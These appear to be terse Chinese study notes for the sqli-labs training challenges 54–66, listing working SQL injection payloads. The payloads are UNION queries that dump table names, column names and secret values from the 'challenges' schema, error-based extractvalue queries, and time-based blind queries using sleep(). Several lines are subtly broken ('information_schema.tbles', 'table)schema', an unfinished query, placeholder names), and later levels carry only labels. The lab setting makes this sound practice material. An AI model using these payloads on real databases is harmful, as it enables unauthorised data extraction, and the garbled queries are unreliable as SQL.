sqlilabs——Pages4

54 逐步爆

爆表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

爆列

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l2zt66tbls'--+

爆内容

?id=-1' union select 1,2,group_concat(secret_Q171) from challenges.l2zt66tbls--+

55 逐步爆 （

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name=''
?id=-1') union select 1,2,group_concat(列名) from 数据库.表--+

56 逐步爆 （’

57 "

58 报错型 ’

?id=-1' union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

59 报错型

?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

60 报错型")

61 报错型’))

62 延时注入’)

?id=1') and if(ascii((select group_concat(table_name) from information_schema.tbles where table)schema='challenges'),1,1))=79,0,sleep(10)--+

63 延时注入’

?id=1' and if(ascii((select group_concat(table_name) from information_schema.tbles where table)schema='challenges'),1,1))=77,0,sleep(10)--+

64 延时注入))

65 延时注入")

66